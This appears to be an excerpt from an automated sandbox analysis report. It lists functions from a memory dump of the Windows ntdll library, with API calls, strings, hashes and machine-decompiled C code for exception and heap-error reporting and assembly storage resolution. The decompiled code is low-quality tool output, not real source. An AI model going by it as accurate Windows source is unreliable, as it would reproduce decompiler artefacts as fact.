Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a92196c984b6b9bb44610c9b923794252b0724d3e2e3665537aef4d63c7f3db9
Instruction ID: 430b6f85e9d74f8bc3ca6da3d9facdff87ab0a0f12191485ca7d6b3dfa290c76
Opcode Fuzzy Hash: a92196c984b6b9bb44610c9b923794252b0724d3e2e3665537aef4d63c7f3db9
Instruction Fuzzy Hash: EE9002B12C504402E14172595504646044A67D02C1F91C022A0514918E86A98E56BAB1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5898C0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5D108E,000000FF,000000FF,000000FF,?,001FFFFF,00000002,00000000,6B6207D0,00000058,6B5D0C91,?,00000000,?,00000000), ref: 6B5898CA

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aed01b4eacaaf340a99ba8d269a1022c02835a2929f13fff863baab08e9a556c
Instruction ID: 8736ddd9ea73f0cf236b41aaf9bdda6a11ac033cb0057e7113de43963a6dd82f
Opcode Fuzzy Hash: aed01b4eacaaf340a99ba8d269a1022c02835a2929f13fff863baab08e9a556c
Instruction Fuzzy Hash: 519002A128504482F10172595504F46144A57E02C1F91C026A1119928D8669CD52B275

Uniqueness

Uniqueness Score: -1.00%

Function 6B589780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5D1A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6B58978A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 277546c2ddd2b1ae634b3ba0dabb26f42ffef8c9da897f8a9f45b577b09bba17
Instruction ID: 8b9272586038834477df7ef2a7b183bebcba6a9f6ca55de64cc756131b9c1321
Opcode Fuzzy Hash: 277546c2ddd2b1ae634b3ba0dabb26f42ffef8c9da897f8a9f45b577b09bba17
Instruction Fuzzy Hash: 219002A929704002E1807259650864A044657D1282F91D425A010591CCC9698C696371

Uniqueness

Uniqueness Score: -1.00%

Function 6B589660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B5D18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6B620810,0000001C,6B5D1616), ref: 6B58966A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2907a68c7249dce96f1b76623fadb9ed1ba2a65cfacd0c9fc31871da43cab599
Instruction ID: 7adb066c061733ef5762d2dccae964cdace021e3b27012fbbd7d05865cb1adf5
Opcode Fuzzy Hash: 2907a68c7249dce96f1b76623fadb9ed1ba2a65cfacd0c9fc31871da43cab599
Instruction Fuzzy Hash: CF9002B128504802E1807259550468A044657D1381F91C025A0115A18DCA698E5977F1

Uniqueness

Uniqueness Score: -1.00%

Function 6B589600, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B581119,?,?,00000018,?), ref: 6B58960A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 47d179c3df9d4e6712e1685def2c86219e61ea109cd1bd324f378c8196314bf3
Instruction ID: f670c68d631ce3317a6ed1b95efe7b7d78b708e9d62b669da57161fae129ff0f
Opcode Fuzzy Hash: 47d179c3df9d4e6712e1685def2c86219e61ea109cd1bd324f378c8196314bf3
Instruction Fuzzy Hash: D49002B128504442E10073595504B8A454667E0381F51C025A0504A18D85A98C617171

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6B5FB260, Relevance: 91.3, APIs: 22, Strings: 30, Instructions: 262COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000, *** Unhandled exception 0x%08lx, hit in %ws:%s,?,<unknown>,?,6B620DD8,00000018,6B5FB5A3,?,6B5248A4,?,?,6B58B74A,6B521650,6B58B627), ref: 6B5FB2E6
DbgPrintEx.1105(00000065,00000000, *** A stack buffer overrun occurred in %ws:%s,<unknown>,?,6B620DD8,00000018,6B5FB5A3,?,6B5248A4,?,?,6B58B74A,6B521650,6B58B627,6B58B627), ref: 6B5FB2FD
DbgPrintEx.1105(00000065,00000000,This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.), ref: 6B5FB30C
DbgPrintEx.1105(00000065,00000000,If this bug ends up in the shipping product, it could be a severe security hole.), ref: 6B5FB31B
DbgPrintEx.1105(00000065,00000000,a NULL pointer), ref: 6B5FB4E7
DbgPrintEx.1105(00000065,00000000, *** enter .exr %p for the exception record,?), ref: 6B5FB4F8
DbgPrintEx.1105(00000065,00000000, *** enter .cxr %p for the context,?), ref: 6B5FB514
DbgPrintEx.1105(00000065,00000000, *** then kb to get the faulting stack), ref: 6B5FB523
DbgPrintEx.1105(00000065,00000000, *** Restarting wait on critsec or resource at %p (in %ws:%s),?,?,?), ref: 6B5FB546
RtlReportException.1105(00000000,?,00000000), ref: 6B5FB566

Strings

This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 6B5FB305
This failed because of error %Ix., xrefs: 6B5FB446
*** enter .cxr %p for the context, xrefs: 6B5FB50D
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 6B5FB314
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 6B5FB476
The instruction at %p tried to %s , xrefs: 6B5FB4B6
a NULL pointer, xrefs: 6B5FB4E0
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6B5FB3D6
The resource is owned shared by %d threads, xrefs: 6B5FB37E
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 6B5FB323
write to, xrefs: 6B5FB4A6
Go determine why that thread has not released the critical section., xrefs: 6B5FB3C5
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 6B5FB484
The critical section is owned by thread %p., xrefs: 6B5FB3B9
The resource is owned exclusively by thread %p, xrefs: 6B5FB374
*** An Access Violation occurred in %ws:%s, xrefs: 6B5FB48F
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 6B5FB2DC
an invalid address, %p, xrefs: 6B5FB4CF
*** Resource timeout (%p) in %ws:%s, xrefs: 6B5FB352
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6B5FB38F
*** A stack buffer overrun occurred in %ws:%s, xrefs: 6B5FB2F3
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 6B5FB39B
*** enter .exr %p for the exception record, xrefs: 6B5FB4F1
The instruction at %p referenced memory at %p., xrefs: 6B5FB432
*** Inpage error in %ws:%s, xrefs: 6B5FB418
read from, xrefs: 6B5FB4AD, 6B5FB4B2
<unknown>, xrefs: 6B5FB27E, 6B5FB2D1, 6B5FB350, 6B5FB399, 6B5FB417, 6B5FB48E
*** then kb to get the faulting stack, xrefs: 6B5FB51C
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 6B5FB47D
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 6B5FB53F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$ExceptionReport
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 374826753-108210295
Opcode ID: 4effb65f671cf636097982583e3db1cb6579919cf18558234aeec8403196b5ea
Instruction ID: 69a525442105f3f73507fa65151215e9d865ecff3e9ee5c55a98171b67b40553
Opcode Fuzzy Hash: 4effb65f671cf636097982583e3db1cb6579919cf18558234aeec8403196b5ea
Instruction Fuzzy Hash: C381F675940120FFFB11AB199C99EEB7B3AEF86796F404084F5041B295E36E8852CE72

Uniqueness

Uniqueness Score: -1.00%

Function 6B601C06, Relevance: 80.7, APIs: 21, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E6B601C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x6b5248a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6B54B150();
				} else {
					E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x6b63589c);
				E6B54B150("Heap error detected at %p (heap handle %p)\n",  *0x6b6358a0);
				_t27 =  *0x6b635898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M6B601E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6B54B150();
				} else {
					E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E6B54B150("Error code: %d - %s\n",  *0x6b635898);
				_t113 =  *0x6b6358a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B54B150("Parameter1: %p\n",  *0x6b6358a4);
				}
				_t115 =  *0x6b6358a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B54B150("Parameter2: %p\n",  *0x6b6358a8);
				}
				_t117 =  *0x6b6358ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B54B150("Parameter3: %p\n",  *0x6b6358ac);
				}
				_t119 =  *0x6b6358b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x6b6358b4);
					E6B54B150("Last known valid blocks: before - %p, after - %p\n",  *0x6b6358b0);
				} else {
					_t120 =  *0x6b6358b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6B54B150();
				} else {
					E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E6B54B150("Stack trace available at %p\n", 0x6b6358c0);
			}

0x6b601c10
0x6b601c16
0x6b601c1e
0x6b601c3d
0x6b601c3e
0x6b601c20
0x6b601c35
0x6b601c3a
0x6b601c44
0x6b601c55
0x6b601c5a
0x6b601c65
0x6b601c67
0x00000000
0x6b601c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b601c67
0x6b601cdc
0x6b601ce5
0x6b601d04
0x6b601d05
0x6b601ce7
0x6b601cfc
0x6b601d01
0x6b601d0b
0x6b601d17
0x6b601d1f
0x6b601d25
0x6b601d30
0x6b601d4f
0x6b601d50
0x6b601d32
0x6b601d47
0x6b601d4c
0x6b601d61
0x6b601d67
0x6b601d68
0x6b601d6e
0x6b601d79
0x6b601d98
0x6b601d99
0x6b601d7b
0x6b601d90
0x6b601d95
0x6b601daa
0x6b601db0
0x6b601db1
0x6b601db7
0x6b601dc2
0x6b601de1
0x6b601de2
0x6b601dc4
0x6b601dd9
0x6b601dde
0x6b601df3
0x6b601df9
0x6b601dfa
0x6b601e00
0x6b601e0a
0x6b601e13
0x6b601e32
0x6b601e33
0x6b601e15
0x6b601e2a
0x6b601e2f
0x6b601e39
0x6b601e4a
0x6b601e02
0x6b601e02
0x6b601e08
0x00000000
0x00000000
0x6b601e08
0x6b601e5b
0x6b601e7a
0x6b601e7b
0x6b601e5d
0x6b601e72
0x6b601e77
0x6b601e95

APIs

DbgPrint.1105(HEAP[%wZ]: ,?,?,00000002,6B6358C0,6B6020B1,?,6B5FFFAF,00000001,00000020,6B6358C0,00000000), ref: 6B601C35
DbgPrint.1105(HEAP: ,?,00000002,6B6358C0,6B6020B1,?,6B5FFFAF,00000001,00000020,6B6358C0,00000000), ref: 6B601C3E
DbgPrint.1105(Heap error detected at %p (heap handle %p),?,00000002,6B6358C0,6B6020B1,?,6B5FFFAF,00000001,00000020,6B6358C0,00000000), ref: 6B601C55
DbgPrint.1105(HEAP[%wZ]: ,?,00000020,6B6358C0,00000000), ref: 6B601CFC
DbgPrint.1105(HEAP: ,00000020,6B6358C0,00000000), ref: 6B601D05
DbgPrint.1105(Error code: %d - %s,6B5248A4,00000020,6B6358C0,00000000), ref: 6B601D17
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B6358C0,00000000), ref: 6B601D47
DbgPrint.1105(HEAP: ,?,?,?,?,6B6358C0,00000000), ref: 6B601D50
DbgPrint.1105(Parameter1: %p,?,?,?,?,6B6358C0,00000000), ref: 6B601D61
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B6358C0,00000000), ref: 6B601D90
DbgPrint.1105(HEAP: ,?,?,?,?,6B6358C0,00000000), ref: 6B601D99
DbgPrint.1105(Parameter2: %p,?,?,?,?,6B6358C0,00000000), ref: 6B601DAA
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B6358C0,00000000), ref: 6B601DD9
DbgPrint.1105(HEAP: ,?,?,?,?,6B6358C0,00000000), ref: 6B601DE2
DbgPrint.1105(Parameter3: %p,?,?,?,?,6B6358C0,00000000), ref: 6B601DF3
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B6358C0,00000000), ref: 6B601E2A
DbgPrint.1105(HEAP: ,?,?,?,?,6B6358C0,00000000), ref: 6B601E33
DbgPrint.1105(Last known valid blocks: before - %p, after - %p,?,?,?,?,6B6358C0,00000000), ref: 6B601E4A
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,?,?,?,6B6358C0,00000000), ref: 6B601E72
DbgPrint.1105(Stack trace available at %p,6B6358C0,?,?,?,?,?,?,?,6B6358C0,00000000), ref: 6B601E8B

Strings

Heap error detected at %p (heap handle %p), xrefs: 6B601C50
heap_failure_cross_heap_operation, xrefs: 6B601CC2
Stack trace available at %p, xrefs: 6B601E86
HEAP[%wZ]: , xrefs: 6B601C30, 6B601CF7, 6B601D42, 6B601D8B, 6B601DD4, 6B601E25, 6B601E6D
heap_failure_lfh_bitmap_mismatch, xrefs: 6B601CD7
Error code: %d - %s, xrefs: 6B601D12
heap_failure_internal, xrefs: 6B601C6E
heap_failure_generic, xrefs: 6B601C7C
heap_failure_entry_corruption, xrefs: 6B601C83
heap_failure_invalid_argument, xrefs: 6B601CAD
heap_failure_unknown, xrefs: 6B601C75
heap_failure_freelists_corruption, xrefs: 6B601CC9
heap_failure_usage_after_free, xrefs: 6B601CBB
Last known valid blocks: before - %p, after - %p, xrefs: 6B601E45
heap_failure_virtual_block_corruption, xrefs: 6B601C91
Parameter3: %p, xrefs: 6B601DEE
heap_failure_buffer_overrun, xrefs: 6B601C98
heap_failure_invalid_allocation_type, xrefs: 6B601CB4
Parameter1: %p, xrefs: 6B601D5C
heap_failure_buffer_underrun, xrefs: 6B601C9F
HEAP: , xrefs: 6B601C16, 6B601C3D, 6B601D04, 6B601D4F, 6B601D98, 6B601DE1, 6B601E32, 6B601E7A
heap_failure_multiple_entries_corruption, xrefs: 6B601C8A
Parameter2: %p, xrefs: 6B601DA5
heap_failure_block_not_busy, xrefs: 6B601CA6
heap_failure_listentry_corruption, xrefs: 6B601CD0

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 3558298466-2897834094
Opcode ID: b221ef4b1d25a5609aaa021b427ab3b2b5accdde6fec8cff1f1a1813f733e3a1
Instruction ID: 55d2d53fe3ecc773bb58aa96457628764a2990d6546281f1d34d614c3c31aa01
Opcode Fuzzy Hash: b221ef4b1d25a5609aaa021b427ab3b2b5accdde6fec8cff1f1a1813f733e3a1
Instruction Fuzzy Hash: CD610872065174DFFB15ABABD595ED873E4EB0AB38B05806AF5085B340EB3CDC41CA29

Uniqueness

Uniqueness Score: -1.00%

Function 6B57C9BF, Relevance: 51.2, APIs: 18, Strings: 11, Instructions: 412
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6B57C9BF(void* __ecx, signed int __edx, signed int _a4, intOrPtr _a12) {
				signed int _v12;
				char _v552;
				char _v1072;
				char _v1073;
				signed int _v1080;
				signed int _v1084;
				signed short _v1088;
				void* _v1092;
				signed short _v1094;
				char _v1096;
				char _v1100;
				intOrPtr _v1104;
				void* _v1108;
				char _v1112;
				char _v1116;
				signed short _v1120;
				char _v1124;
				char* _v1128;
				char _v1132;
				char _v1135;
				char _v1136;
				void* _v1140;
				char _v1144;
				intOrPtr _v1148;
				short _v1150;
				char _v1152;
				void* _v1156;
				char* _v1160;
				char _v1164;
				void* _v1168;
				void* _v1172;
				intOrPtr _v1176;
				void* _v1180;
				char _v1184;
				signed int _v1188;
				signed int _v1192;
				intOrPtr _v1196;
				char* _v1200;
				intOrPtr _v1204;
				char _v1208;
				char _v1216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t166;
				void* _t170;
				wchar_t* _t184;
				signed short _t188;
				char _t199;
				intOrPtr _t200;
				signed int _t205;
				signed int _t207;
				intOrPtr _t218;
				short _t219;
				char _t236;
				char _t242;
				signed int _t253;
				intOrPtr _t258;
				void* _t260;
				signed int _t264;
				void* _t272;
				void* _t276;
				unsigned int _t277;
				signed short _t279;
				signed int _t280;
				void* _t281;
				void* _t305;

				_t271 = __edx;
				_v12 =  *0x6b63d360 ^ _t280;
				_t253 = _a4;
				_v1104 = _a12;
				_t272 = __ecx;
				_v1160 =  &_v1072;
				_v1168 = __ecx;
				_t166 = 0;
				_v1073 = 0;
				_v1084 = 0;
				_t274 = 0;
				_v1156 = 0;
				_v1164 = 0x2080000;
				_v1096 = 0;
				_v1092 = 0;
				_v1112 = 0;
				_v1108 = 0;
				_v1100 = 0;
				if(__ecx == 0) {
					L67:
					_push(_t166);
					_push(_t253);
					_push(_t271);
					_push(_t272);
					E6B5D5720(0x33, 0, "SXS: %s() bad parameters\nSXS:   Map                : %p\nSXS:   Data               : %p\nSXS:   AssemblyRosterIndex: 0x%lx\nSXS:   Map->AssemblyCount : 0x%lx\n", "RtlpResolveAssemblyStorageMapEntry");
					_t274 = 0xc000000d;
					L21:
					if(_v1073 == 0) {
						L23:
						if(_v1092 != 0) {
							E6B54AD30(_v1092);
						}
						L24:
						if(_v1084 != 0) {
							_push(_v1084);
							E6B5895D0();
						}
						_t170 = _v1156;
						if(_t170 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t170);
						}
						L26:
						return E6B58B640(_t274, _t253, _v12 ^ _t280, _t271, _t272, _t274);
					}
					L22:
					_v1144 = _v1100;
					E6B57CCC0(4,  &_v1144, _v1104);
					goto L23;
				}
				if(__edx == 0 || _t253 < 1 || _t253 >  *((intOrPtr*)(__ecx + 4))) {
					_t166 =  *((intOrPtr*)(_t272 + 4));
					goto L67;
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 8)) + _t253 * 4)) != 0) {
						goto L26;
					}
					asm("lfence");
					_t258 =  *((intOrPtr*)(__edx + 0x18));
					_t260 =  *((intOrPtr*)(_t258 + __edx + 0x10)) + __edx;
					_t276 =  *((intOrPtr*)(_t253 * 0x18 +  *((intOrPtr*)(_t258 + __edx + 0xc)) + __edx + 0x10)) + __edx;
					_t181 =  *((intOrPtr*)(_t276 + 0x50));
					if( *((intOrPtr*)(_t276 + 0x50)) > 0xfffe) {
						_push(__edx);
						E6B5D5720(0x33, 0, "SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p\n", _t181);
						_t274 = 0xc0000106;
						goto L23;
					}
					if(( *(_t276 + 4) & 0x00000010) != 0) {
						_v1080 =  &_v1164;
						_t272 =  *((intOrPtr*)(_t276 + 0x18)) + _t260;
						if(_t272 != 0) {
							_t184 = wcsrchr(_t272, 0x5c);
							if(_t184 != 0) {
								_t188 = 0x00000004 + (_t184 - _t272 >> 0x00000001) * 0x00000002 & 0x0000ffff;
								_v1088 = _t188;
								_t277 = _t188 & 0x0000ffff;
								if(_t188 <= 0x208) {
									_t264 = _v1080;
									L39:
									memcpy( *(_t264 + 4), _t272, _t277 - 2);
									_t281 = _t281 + 0xc;
									 *((short*)( *((intOrPtr*)(_v1080 + 4)) + (_t277 >> 1) * 2 - 2)) = 0;
									 *_v1080 = _v1088 + 0xfffffffe;
									L18:
									if(_v1084 == 0) {
										if(E6B556A00( *((intOrPtr*)(_v1080 + 4)),  &_v1112, 0,  &_v1184) != 0) {
											_v1156 = _v1108;
											_t199 = _v1184;
											if(_t199 == 0) {
												_t200 = 0;
											} else {
												_v1112 = _t199;
												_v1108 = _v1180;
												_t200 = _v1176;
											}
											_v1192 = _v1192 & 0x00000000;
											_v1188 = _v1188 & 0x00000000;
											_v1204 = _t200;
											_push(0x21);
											_v1200 =  &_v1112;
											_push(3);
											_push( &_v1216);
											_v1208 = 0x18;
											_push( &_v1208);
											_push(0x100020);
											_v1196 = 0x40;
											_push( &_v1084);
											_t205 = E6B589830();
											_t272 = _v1172;
											_t274 = _t205;
											if(_t272 != 0) {
												asm("lock xadd [edi], eax");
												if((_t205 | 0xffffffff) == 0) {
													_push( *((intOrPtr*)(_t272 + 4)));
													E6B5895D0();
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t272);
												}
											}
											if(_t274 >= 0) {
												goto L19;
											} else {
												_push(_t274);
												E6B5D5720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n",  *((intOrPtr*)(_v1080 + 4)));
												goto L21;
											}
										}
										E6B5D5720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n",  *((intOrPtr*)(_v1080 + 4)));
										_t274 = 0xc000003a;
										goto L21;
									}
									L19:
									_t271 = _t253;
									_t207 = E6B57CE6C(_v1168, _t253, _v1080,  &_v1084);
									_t274 = _t207;
									if(_t207 < 0) {
										E6B5D5720(0x33, 0, "SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx\n", _t274);
									} else {
										_t274 = 0;
									}
									goto L21;
								}
								_v1094 = _t188;
								_t218 = E6B563A1C(_t277);
								_v1092 = _t218;
								if(_t218 != 0) {
									_t264 =  &_v1096;
									_v1080 = _t264;
									goto L39;
								}
								_t274 = 0xc0000017;
								goto L24;
							}
							_t274 = 0xc00000e5;
							goto L23;
						}
						_t274 = 0xc00000e5;
						goto L26;
					}
					_v1080 = _v1080 & 0x00000000;
					_t219 =  *((intOrPtr*)(_t276 + 0x50));
					_v1152 = _t219;
					_v1150 = _t219;
					_v1144 = __edx;
					_v1148 =  *((intOrPtr*)(_t276 + 0x54)) + _t260;
					_v1140 = _t253;
					_v1128 =  &_v552;
					_v1136 = 0;
					_v1132 = 0x2160000;
					_v1124 = 0;
					_v1116 = 0;
					_v1120 = 0;
					E6B57CCC0(1,  &_v1144, _v1104);
					if(_v1116 != 0) {
						_t274 = 0xc0000120;
						goto L23;
					}
					if(_v1124 != 0) {
						_t271 =  &_v1132;
						_t274 = E6B57CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 >= 0) {
							_t271 = _t253;
							_t274 = E6B57CE6C(_t272, _t253,  &_v1132,  &_v1084);
							if(_t274 < 0) {
								_push(_t274);
								_push(_t253);
								_push("SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx\n");
								L44:
								_push(0);
								_push(0x33);
								E6B5D5720();
								goto L23;
							}
							_t274 = 0;
							goto L23;
						}
						_push(_t274);
